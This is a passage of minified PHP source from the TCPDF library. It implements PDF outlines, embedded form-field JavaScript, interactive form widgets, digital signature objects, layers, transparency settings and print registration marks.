/Count 0';$out.=' >>';$out.="
".'endobj';$this->_out($out);}$this->OutlineRoot=$this->_newobj();$this->_out('<< /Type /Outlines /First '.$n.' 0 R /Last '.($n+$lru[0]).' 0 R >>'."
".'endobj');} function IncludeJS($script){$this->javascript.=$script;} function addJavascriptObject($script,$onload=false){if($this->pdfa_mode){return false;}++$this->n;$this->js_objects[$this->n]=array('n'=>$this->n,'js'=>$script,'onload'=>$onload);return $this->n;} function _putjavascript(){if($this->pdfa_mode OR (empty($this->javascript) AND empty($this->js_objects))){return;}if(strpos($this->javascript,'this.addField')>0){if(!$this->ur['enabled']){}$jsa=sprintf("ftcpdfdocsaved=this.addField('%s','%s',%d,[%F,%F,%F,%F]);",'tcpdfdocsaved','text',0,0,1,0,1);$jsb="getField('tcpdfdocsaved').value='saved';";$this->javascript=$jsa."
".$this->javascript."
".$jsb;}$this->n_js='<< /Names [';if(!empty($this->javascript)){$this->n_js.=' (EmbeddedJS) '.($this->n+1).' 0 R';}if(!empty($this->js_objects)){foreach($this->js_objects as $key=>$val){if($val['onload']){$this->n_js.=' (JS'.$key.') '.$key.' 0 R';}}}$this->n_js.=' ] >>';if(!empty($this->javascript)){$obj_id=$this->_newobj();$out='<< /S /JavaScript';$out.=' /JS '.$this->_textstring($this->javascript,$obj_id);$out.=' >>';$out.="
".'endobj';$this->_out($out);}if(!empty($this->js_objects)){foreach($this->js_objects as $key=>$val){$out=$this->_getobj($key)."
".' << /S /JavaScript /JS '.$this->_textstring($val['js'],$key).' >>'."
".'endobj';$this->_out($out);}}} function _addfield($type,$name,$x,$y,$w,$h,$prop){if($this->rtl){$x=$x-$w;}$this->javascript.="if (getField('tcpdfdocsaved').value != 'saved') {";$k=$this->k;$this->javascript.=sprintf("f".$name."=this.addField('%s','%s',%u,[%F,%F,%F,%F]);",$name,$type,$this->PageNo()-1,$x*$k,($this->h-$y)*$k+1,($x+$w)*$k,($this->h-$y-$h)*$k+1)."
";$this->javascript.='f'.$name.'.textSize='.$this->FontSizePt.";
";while(list($key,$val)=each($prop)){if(strcmp(substr($key,-5),'Color')==0){$val=TCPDF_COLORS::_JScolor($val);}else {$val="'".$val."'";}$this->javascript.='f'.$name.'.'.$key.'='.$val.";
";}if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}$this->javascript.='}';} function setFormDefaultProp($prop=array()){$this->default_form_prop=$prop;} function getFormDefaultProp(){return $this->default_form_prop;} function TextField($name,$w,$h,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('text',$name,$x,$y,$w,$h,$prop);return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$text='';if(isset($prop['value']) AND !empty($prop['value'])){$text=$prop['value'];}elseif(isset($opt['v']) AND !empty($opt['v'])){$text=$opt['v'];}$tmpid=$this->startTemplate($w,$h,false);$align='';if(isset($popt['q'])){switch($popt['q']){case 0:{$align='L';break;}case 1:{$align='C';break;}case 2:{$align='R';break;}default:{$align='';break;}}}$this->MultiCell($w,$h,$text,0,$align,false,0,0,0,true,0,false,true,0,'T',false);$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';$opt=array_merge($popt,$opt);unset($opt['bs']);$opt['Subtype']='Widget';$opt['ft']='Tx';$opt['t']=$name;unset($opt['mk']['ca']);unset($opt['mk']['rc']);unset($opt['mk']['ac']);unset($opt['mk']['i']);unset($opt['mk']['ri']);unset($opt['mk']['ix']);unset($opt['mk']['if']);unset($opt['mk']['tp']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function RadioButton($name,$w,$prop=array(),$opt=array(),$onvalue='On',$checked=false,$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($w,$x,$y);if($js){$this->_addfield('radiobutton',$name,$x,$y,$w,$w,$prop);return;}if(TCPDF_STATIC::empty_string($onvalue)){$onvalue='On';}if($checked){$defval=$onvalue;}else {$defval='Off';}$font='zapfdingbats';if($this->pdfa_mode){$font='pdfa'.$font;}$this->AddFont($font);$tmpfont=$this->getFontBuffer($font);if(!isset($this->radiobutton_groups[$this->page])){$this->radiobutton_groups[$this->page]=array();}if(!isset($this->radiobutton_groups[$this->page][$name])){$this->radiobutton_groups[$this->page][$name]=array();++$this->n;$this->radiobutton_groups[$this->page][$name]['n']=$this->n;$this->radio_groups[]=$this->n;}$kid=($this->n+1);$this->radiobutton_groups[$this->page][$name][]=array('kid'=>$kid,'def'=>$defval);$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['NoToggleToOff']='true';$prop['Radio']='true';$prop['borderStyle']='inset';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$tmpfont['fontkey']]=$tmpfont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$tmpfont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']=array();$fx=((($w-$this->getAbsFontMeasure($tmpfont['cw'][108]))/2)*$this->k);$fy=(($w-((($tmpfont['desc']['Ascent']-$tmpfont['desc']['Descent'])*$this->FontSizePt/1000)/$this->k))*$this->k);$popt['ap']['n'][$onvalue]=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(108).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);$popt['ap']['n']['Off']=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(109).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);if(!isset($popt['mk'])){$popt['mk']=array();}$popt['mk']['ca']='(l)';$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Btn';if($checked){$opt['v']=array('/'.$onvalue);$opt['as']=$onvalue;}else {$opt['as']='Off';}if(!isset($this->radiobutton_groups[$this->page][$name]['#readonly#'])){$this->radiobutton_groups[$this->page][$name]['#readonly#']=false;}$this->radiobutton_groups[$this->page][$name]['#readonly#']|=($opt['f']&64);$this->Annotation($x,$y,$w,$w,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function ListBox($name,$w,$h,$values,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('listbox',$name,$x,$y,$w,$h,$prop);$s='';foreach($values as $value){if(is_array($value)){$s.=',[\''.addslashes($value[1]).'\',\''.addslashes($value[0]).'\']';}else {$s.=',[\''.addslashes($value).'\',\''.addslashes($value).'\']';}}$this->javascript.='f'.$name.'.setItems('.substr($s,1).');'."
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$text='';foreach($values as $item){if(is_array($item)){$text.=$item[1]."
";}else {$text.=$item."
";}}$tmpid=$this->startTemplate($w,$h,false);$this->MultiCell($w,$h,$text,0,'',false,0,0,0,true,0,false,true,0,'T',false);$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Ch';$opt['t']=$name;$opt['opt']=$values;unset($opt['mk']['ca']);unset($opt['mk']['rc']);unset($opt['mk']['ac']);unset($opt['mk']['i']);unset($opt['mk']['ri']);unset($opt['mk']['ix']);unset($opt['mk']['if']);unset($opt['mk']['tp']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function ComboBox($name,$w,$h,$values,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('combobox',$name,$x,$y,$w,$h,$prop);$s='';foreach($values as $value){if(is_array($value)){$s.=',[\''.addslashes($value[1]).'\',\''.addslashes($value[0]).'\']';}else {$s.=',[\''.addslashes($value).'\',\''.addslashes($value).'\']';}}$this->javascript.='f'.$name.'.setItems('.substr($s,1).');'."
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['Combo']=true;$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$text='';foreach($values as $item){if(is_array($item)){$text.=$item[1]."
";}else {$text.=$item."
";}}$tmpid=$this->startTemplate($w,$h,false);$this->MultiCell($w,$h,$text,0,'',false,0,0,0,true,0,false,true,0,'T',false);$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Ch';$opt['t']=$name;$opt['opt']=$values;unset($opt['mk']['ca']);unset($opt['mk']['rc']);unset($opt['mk']['ac']);unset($opt['mk']['i']);unset($opt['mk']['ri']);unset($opt['mk']['ix']);unset($opt['mk']['if']);unset($opt['mk']['tp']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function CheckBox($name,$w,$checked=false,$prop=array(),$opt=array(),$onvalue='Yes',$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($w,$x,$y);if($js){$this->_addfield('checkbox',$name,$x,$y,$w,$w,$prop);return;}if(!isset($prop['value'])){$prop['value']=array('Yes');}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['borderStyle']='inset';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$font='zapfdingbats';if($this->pdfa_mode){$font='pdfa'.$font;}$this->AddFont($font);$tmpfont=$this->getFontBuffer($font);$this->annotation_fonts[$tmpfont['fontkey']]=$tmpfont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$tmpfont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']=array();$fx=((($w-$this->getAbsFontMeasure($tmpfont['cw'][110]))/2)*$this->k);$fy=(($w-((($tmpfont['desc']['Ascent']-$tmpfont['desc']['Descent'])*$this->FontSizePt/1000)/$this->k))*$this->k);$popt['ap']['n']['Yes']=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(110).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);$popt['ap']['n']['Off']=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(111).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Btn';$opt['t']=$name;if(TCPDF_STATIC::empty_string($onvalue)){$onvalue='Yes';}$opt['opt']=array($onvalue);if($checked){$opt['v']=array('/Yes');$opt['as']='Yes';}else {$opt['v']=array('/Off');$opt['as']='Off';}$this->Annotation($x,$y,$w,$w,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function Button($name,$w,$h,$caption,$action,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('button',$name,$this->x,$this->y,$w,$h,$prop);$this->javascript.='f'.$name.".buttonSetCaption('".addslashes($caption)."');
";$this->javascript.='f'.$name.".setAction('MouseUp','".addslashes($action)."');
";$this->javascript.='f'.$name.".highlight='push';
";$this->javascript.='f'.$name.".print=false;
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['Pushbutton']='true';$prop['highlight']='push';$prop['display']='display.noPrint';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$tmpid=$this->startTemplate($w,$h,false);$bw=(2/$this->k);$border=array('L'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(231)),'R'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(51)),'T'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(231)),'B'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(51)));$this->SetFillColor(204);$this->Cell($w,$h,$caption,$border,0,'C',true,'',1,false,'T','M');$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';if(!isset($popt['mk'])){$popt['mk']=array();}$ann_obj_id=($this->n+1);if(!empty($action) AND !is_array($action)){$ann_obj_id=($this->n+2);}$popt['mk']['ca']=$this->_textstring($caption,$ann_obj_id);$popt['mk']['rc']=$this->_textstring($caption,$ann_obj_id);$popt['mk']['ac']=$this->_textstring($caption,$ann_obj_id);$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Btn';$opt['t']=$caption;$opt['v']=$name;if(!empty($action)){if(is_array($action)){$opt['aa']='/D <<';$bmode=array('SubmitForm','ResetForm','ImportData');foreach($action AS $key=>$val){if(($key=='S') AND in_array($val,$bmode)){$opt['aa'].=' /S /'.$val;}elseif(($key=='F') AND (!empty($val))){$opt['aa'].=' /F '.$this->_datastring($val,$ann_obj_id);}elseif(($key=='Fields') AND is_array($val) AND !empty($val)){$opt['aa'].=' /Fields [';foreach($val AS $field){$opt['aa'].=' '.$this->_textstring($field,$ann_obj_id);}$opt['aa'].=']';}elseif(($key=='Flags')){$ff=0;if(is_array($val)){foreach($val AS $flag){switch($flag){case 'Include/Exclude':{$ff+=1<<0;break;}case 'IncludeNoValueFields':{$ff+=1<<1;break;}case 'ExportFormat':{$ff+=1<<2;break;}case 'GetMethod':{$ff+=1<<3;break;}case 'SubmitCoordinates':{$ff+=1<<4;break;}case 'XFDF':{$ff+=1<<5;break;}case 'IncludeAppendSaves':{$ff+=1<<6;break;}case 'IncludeAnnotations':{$ff+=1<<7;break;}case 'SubmitPDF':{$ff+=1<<8;break;}case 'CanonicalFormat':{$ff+=1<<9;break;}case 'ExclNonUserAnnots':{$ff+=1<<10;break;}case 'ExclFKey':{$ff+=1<<11;break;}case 'EmbedForm':{$ff+=1<<13;break;}}}}else {$ff=intval($val);}$opt['aa'].=' /Flags '.$ff;}}$opt['aa'].=' >>';}else {$js_obj_id=$this->addJavascriptObject($action);$opt['aa']='/D '.$js_obj_id.' 0 R';}}$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function _putsignature(){if((!$this->sign) OR (!isset($this->signature_data['cert_type']))){return;}$sigobjid=($this->sig_obj_id+1);$out=$this->_getobj($sigobjid)."
";$out.='<< /Type /Sig';$out.=' /Filter /Adobe.PPKLite';$out.=' /SubFilter /adbe.pkcs7.detached';$out.=' '.TCPDF_STATIC::$byterange_string;$out.=' /Contents<'.str_repeat('0',$this->signature_max_length).'>';if(empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A')){$out.=' /Reference [';$out.=' << /Type /SigRef';if($this->signature_data['cert_type']>0){$out.=' /TransformMethod /DocMDP';$out.=' /TransformParams <<';$out.=' /Type /TransformParams';$out.=' /P '.$this->signature_data['cert_type'];$out.=' /V /1.2';}else {$out.=' /TransformMethod /UR3';$out.=' /TransformParams <<';$out.=' /Type /TransformParams';$out.=' /V /2.2';if(!TCPDF_STATIC::empty_string($this->ur['document'])){$out.=' /Document['.$this->ur['document'].']';}if(!TCPDF_STATIC::empty_string($this->ur['form'])){$out.=' /Form['.$this->ur['form'].']';}if(!TCPDF_STATIC::empty_string($this->ur['signature'])){$out.=' /Signature['.$this->ur['signature'].']';}if(!TCPDF_STATIC::empty_string($this->ur['annots'])){$out.=' /Annots['.$this->ur['annots'].']';}if(!TCPDF_STATIC::empty_string($this->ur['ef'])){$out.=' /EF['.$this->ur['ef'].']';}if(!TCPDF_STATIC::empty_string($this->ur['formex'])){$out.=' /FormEX['.$this->ur['formex'].']';}}$out.=' >>';$out.=' >>';$out.=' ]';}if(isset($this->signature_data['info']['Name']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['Name'])){$out.=' /Name '.$this->_textstring($this->signature_data['info']['Name'],$sigobjid);}if(isset($this->signature_data['info']['Location']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['Location'])){$out.=' /Location '.$this->_textstring($this->signature_data['info']['Location'],$sigobjid);}if(isset($this->signature_data['info']['Reason']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['Reason'])){$out.=' /Reason '.$this->_textstring($this->signature_data['info']['Reason'],$sigobjid);}if(isset($this->signature_data['info']['ContactInfo']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['ContactInfo'])){$out.=' /ContactInfo '.$this->_textstring($this->signature_data['info']['ContactInfo'],$sigobjid);}$out.=' /M '.$this->_datestring($sigobjid,$this->doc_modification_timestamp);$out.=' >>';$out.="
".'endobj';$this->_out($out);} function setUserRights($enable=true,$document='/FullSave',$annots='/Create/Delete/Modify/Copy/Import/Export',$form='/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate',$signature='/Modify',$ef='/Create/Delete/Modify/Import',$formex=''){$this->ur['enabled']=$enable;$this->ur['document']=$document;$this->ur['annots']=$annots;$this->ur['form']=$form;$this->ur['signature']=$signature;$this->ur['ef']=$ef;$this->ur['formex']=$formex;if(!$this->sign){$this->setSignature('','','','',0,array());}} function setSignature($signing_cert='',$private_key='',$private_key_password='',$extracerts='',$cert_type=2,$info=array(),$approval=''){$this->sign=true;++$this->n;$this->sig_obj_id=$this->n;++$this->n;$this->signature_data=array();if(strlen($signing_cert)==0){$this->Error('Please provide a certificate file and password!');}if(strlen($private_key)==0){$private_key=$signing_cert;}$this->signature_data['signcert']=$signing_cert;$this->signature_data['privkey']=$private_key;$this->signature_data['password']=$private_key_password;$this->signature_data['extracerts']=$extracerts;$this->signature_data['cert_type']=$cert_type;$this->signature_data['info']=$info;$this->signature_data['approval']=$approval;} function setSignatureAppearance($x=0,$y=0,$w=0,$h=0,$page=-1,$name=''){$this->signature_appearance=$this->getSignatureAppearanceArray($x,$y,$w,$h,$page,$name);} function addEmptySignatureAppearance($x=0,$y=0,$w=0,$h=0,$page=-1,$name=''){++$this->n;$this->empty_signature_appearance[]=array('objid'=>$this->n)+$this->getSignatureAppearanceArray($x,$y,$w,$h,$page,$name);} function getSignatureAppearanceArray($x=0,$y=0,$w=0,$h=0,$page=-1,$name=''){$sigapp=array();if(($page<1) OR ($page>$this->numpages)){$sigapp['page']=$this->page;}else {$sigapp['page']=intval($page);}if(empty($name)){$sigapp['name']='Signature';}else {$sigapp['name']=$name;}$a=$x*$this->k;$b=$this->pagedim[($sigapp['page'])]['h']-(($y+$h)*$this->k);$c=$w*$this->k;$d=$h*$this->k;$sigapp['rect']=sprintf('%F %F %F %F',$a,$b,($a+$c),($b+$d));return $sigapp;} function setTimeStamp($tsa_host='',$tsa_username='',$tsa_password='',$tsa_cert=''){$this->tsa_data=array();if(!function_exists('curl_init')){$this->Error('Please enable cURL PHP extension!');}if(strlen($tsa_host)==0){$this->Error('Please specify the host of Time Stamping Authority (TSA)!');}$this->tsa_data['tsa_host']=$tsa_host;if(is_file($tsa_username)){$this->tsa_data['tsa_auth']=$tsa_username;}else {$this->tsa_data['tsa_username']=$tsa_username;}$this->tsa_data['tsa_password']=$tsa_password;$this->tsa_data['tsa_cert']=$tsa_cert;$this->tsa_timestamp=true;} function applyTSA($signature){if(!$this->tsa_timestamp){return $signature;}return $signature;} function startPageGroup($page=''){if(empty($page)){$page=$this->page+1;}$this->newpagegroup[$page]=sizeof($this->newpagegroup)+1;} function setStartingPageNumber($num=1){$this->starting_page_number=max(0,intval($num));} function getAliasRightShift(){$ref='{'.TCPDF_STATIC::$alias_right_shift.'}{'.TCPDF_STATIC::$alias_tot_pages.'}{'.TCPDF_STATIC::$alias_num_page.'}';$rep=str_repeat(' ',$this->GetNumChars($ref));$wrep=$this->GetStringWidth($rep);if($wrep>0){$wdiff=max(1,($this->GetStringWidth($ref)/$wrep));}else {$wdiff=1;}$sdiff=sprintf('%F',$wdiff);$alias=TCPDF_STATIC::$alias_right_shift.$sdiff.'}';if($this->isUnicodeFont()){$alias='{'.$alias;}return $alias;} function getAliasNbPages(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_tot_pages.'}';}return TCPDF_STATIC::$alias_tot_pages;} function getAliasNumPage(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_num_page.'}';}return TCPDF_STATIC::$alias_num_page;} function getPageGroupAlias(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_group_tot_pages.'}';}return TCPDF_STATIC::$alias_group_tot_pages;} function getPageNumGroupAlias(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_group_num_page.'}';}return TCPDF_STATIC::$alias_group_num_page;} function getGroupPageNo(){return $this->pagegroups[$this->currpagegroup];} function getGroupPageNoFormatted(){return TCPDF_STATIC::formatPageNumber($this->getGroupPageNo());} function PageNoFormatted(){return TCPDF_STATIC::formatPageNumber($this->PageNo());} function _putocg(){if(empty($this->pdflayers)){return;}foreach($this->pdflayers as $key=>$layer){$this->pdflayers[$key]['objid']=$this->_newobj();$out='<< /Type /OCG';$out.=' /Name '.$this->_textstring($layer['name'],$this->pdflayers[$key]['objid']);$out.=' /Usage <<';if(isset($layer['print']) AND ($layer['print']!==NULL)){$out.=' /Print <</PrintState /'.($layer['print']?'ON':'OFF').'>>';}$out.=' /View <</ViewState /'.($layer['view']?'ON':'OFF').'>>';$out.=' >> >>';$out.="
".'endobj';$this->_out($out);}} function startLayer($name='',$print=true,$view=true,$lock=true){if($this->state!=2){return;}$layer=sprintf('LYR%03d',(count($this->pdflayers)+1));if(empty($name)){$name=$layer;}else {$name=preg_replace('/[^a-zA-Z0-9_\-]/','',$name);}$this->pdflayers[]=array('layer'=>$layer,'name'=>$name,'print'=>$print,'view'=>$view,'lock'=>$lock);$this->openMarkedContent=true;$this->_out('/OC /'.$layer.' BDC');} function endLayer(){if($this->state!=2){return;}if($this->openMarkedContent){$this->_out('EMC');$this->openMarkedContent=false;}} function setVisibility($v){if($this->state!=2){return;}$this->endLayer();switch($v){case 'print':{$this->startLayer('Print',true,false);break;}case 'view':case 'screen':{$this->startLayer('View',false,true);break;}case 'all':{$this->_out('');break;}default:{$this->Error('Incorrect visibility: '.$v);break;}}} function addExtGState($parms){if($this->pdfa_mode){return;}foreach($this->extgstates as $i=>$ext){if($ext['parms']==$parms){if($this->inxobj){$this->xobjects[$this->xobjid]['extgstates'][$i]=$ext;}return $i;}}$n=(count($this->extgstates)+1);$this->extgstates[$n]=array('parms'=>$parms);if($this->inxobj){$this->xobjects[$this->xobjid]['extgstates'][$n]=$this->extgstates[$n];}return $n;} function setExtGState($gs){if($this->pdfa_mode OR ($this->state!=2)){return;}$this->_out(sprintf('/GS%d gs',$gs));} function _putextgstates(){foreach($this->extgstates as $i=>$ext){$this->extgstates[$i]['n']=$this->_newobj();$out='<< /Type /ExtGState';foreach($ext['parms'] as $k=>$v){if(is_float($v)){$v=sprintf('%F',$v);}elseif($v===true){$v='true';}elseif($v===false){$v='false';}$out.=' /'.$k.' '.$v;}$out.=' >>';$out.="
".'endobj';$this->_out($out);}} function setOverprint($stroking=true,$nonstroking='',$mode=0){if($this->state!=2){return;}$stroking=$stroking?true:false;if(TCPDF_STATIC::empty_string($nonstroking)){$nonstroking=$stroking;}else {$nonstroking=$nonstroking?true:false;}if(($mode!=0) AND ($mode!=1)){$mode=0;}$this->overprint=array('OP'=>$stroking,'op'=>$nonstroking,'OPM'=>$mode);$gs=$this->addExtGState($this->overprint);$this->setExtGState($gs);} function getOverprint(){return $this->overprint;} function setAlpha($stroking=1,$bm='Normal',$nonstroking='',$ais=false){if($this->pdfa_mode){return;}$stroking=floatval($stroking);if(TCPDF_STATIC::empty_string($nonstroking)){$nonstroking=$stroking;}else {$nonstroking=floatval($nonstroking);}if($bm[0]=='/'){$bm=substr($bm,1);}if(!in_array($bm,array('Normal','Multiply','Screen','Overlay','Darken','Lighten','ColorDodge','ColorBurn','HardLight','SoftLight','Difference','Exclusion','Hue','Saturation','Color','Luminosity'))){$bm='Normal';}$ais=$ais?true:false;$this->alpha=array('CA'=>$stroking,'ca'=>$nonstroking,'BM'=>'/'.$bm,'AIS'=>$ais);$gs=$this->addExtGState($this->alpha);$this->setExtGState($gs);} function getAlpha(){return $this->alpha;} function setJPEGQuality($quality){if(($quality<1) OR ($quality>100)){$quality=75;}$this->jpeg_quality=intval($quality);} function setDefaultTableColumns($cols=4){$this->default_table_columns=intval($cols);} function setCellHeightRatio($h){$this->cell_height_ratio=$h;} function getCellHeightRatio(){return $this->cell_height_ratio;} function setPDFVersion($version='1.7'){if($this->pdfa_mode){$this->PDFVersion='1.4';}else {$this->PDFVersion=$version;}} function setViewerPreferences($preferences){$this->viewer_preferences=$preferences;} function colorRegistrationBar($x,$y,$w,$h,$transition=true,$vertical=false,$colors='A,R,G,B,C,M,Y,K'){if(strpos($colors,'ALLSPOT')!==false){$spot_colors='';foreach($this->spot_colors as $spot_color_name=>$v){$spot_colors.=','.$spot_color_name;}if(!empty($spot_colors)){$spot_colors=substr($spot_colors,1);$colors=str_replace('ALLSPOT',$spot_colors,$colors);}else {$colors=str_replace('ALLSPOT','NONE',$colors);}}$bars=explode(',',$colors);$numbars=count($bars);if($numbars<=0){return;}if($vertical){$coords=array(0,0,0,1);$wb=$w/$numbars;$hb=$h;$xd=$wb;$yd=0;}else {$coords=array(1,0,0,0);$wb=$w;$hb=$h/$numbars;$xd=0;$yd=$hb;}$xb=$x;$yb=$y;foreach($bars as $col){switch($col){case 'A':{$col_a=array(255);$col_b=array(0);break;}case 'W':{$col_a=array(0);$col_b=array(255);break;}case 'R':{$col_a=array(255,255,255);$col_b=array(255,0,0);break;}case 'G':{$col_a=array(255,255,255);$col_b=array(0,255,0);break;}case 'B':{$col_a=array(255,255,255);$col_b=array(0,0,255);break;}case 'C':{$col_a=array(0,0,0,0);$col_b=array(100,0,0,0);break;}case 'M':{$col_a=array(0,0,0,0);$col_b=array(0,100,0,0);break;}case 'Y':{$col_a=array(0,0,0,0);$col_b=array(0,0,100,0);break;}case 'K':{$col_a=array(0,0,0,0);$col_b=array(0,0,0,100);break;}case 'RGB':{$col_a=array(255,255,255);$col_b=array(0,0,0);break;}case 'CMYK':{$col_a=array(0,0,0,0);$col_b=array(100,100,100,100);break;}case 'ALL':{$col_a=array(0,0,0,0,'None');$col_b=array(100,100,100,100,'All');break;}case 'NONE':{$col_a=array(0,0,0,0,'None');$col_b=array(0,0,0,0,'None');break;}default:{$col_a=array(0,0,0,0,'None');$col_b=TCPDF_COLORS::getSpotColor($col,$this->spot_colors);if($col_b===false){$col_b=array(100,100,100,100,'All');}break;}}if($col!='NONE'){if($transition){$this->LinearGradient($xb,$yb,$wb,$hb,$col_a,$col_b,$coords);}else {$this->SetFillColorArray($col_b);$this->Rect($xb,$yb,$wb,$hb,'F',array());}$xb+=$xd;$yb+=$yd;}}} function cropMark($x,$y,$w,$h,$type='T,R,B,L',$color=array(100,100,100,100,'All')){$this->SetLineStyle(array('width'=>(0.5/$this->k),'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>$color));$type=strtoupper($type);$type=preg_replace('/[^A-Z\-\,]*/','',$type);$type=str_replace('-',',',$type);$type=str_replace('TL','T,L',$type);$type=str_replace('TR','T,R',$type);$type=str_replace('BL','F,L',$type);$type=str_replace('BR','F,R',$type);$type=str_replace('A','T,L',$type);$type=str_replace('B','T,R',$type);$type=str_replace('T,RO','BO',$type);$type=str_replace('C','F,L',$type);$type=str_replace('D','F,R',$type);$crops=explode(',',strtoupper($type));$crops=array_unique($crops);$dw=($w/4);$dh=($h/4);foreach($crops as $crop){switch($crop){case 'T':case 'TOP':{$x1=$x;$y1=($y-$h);$x2=$x;$y2=($y-$dh);break;}case 'F':case 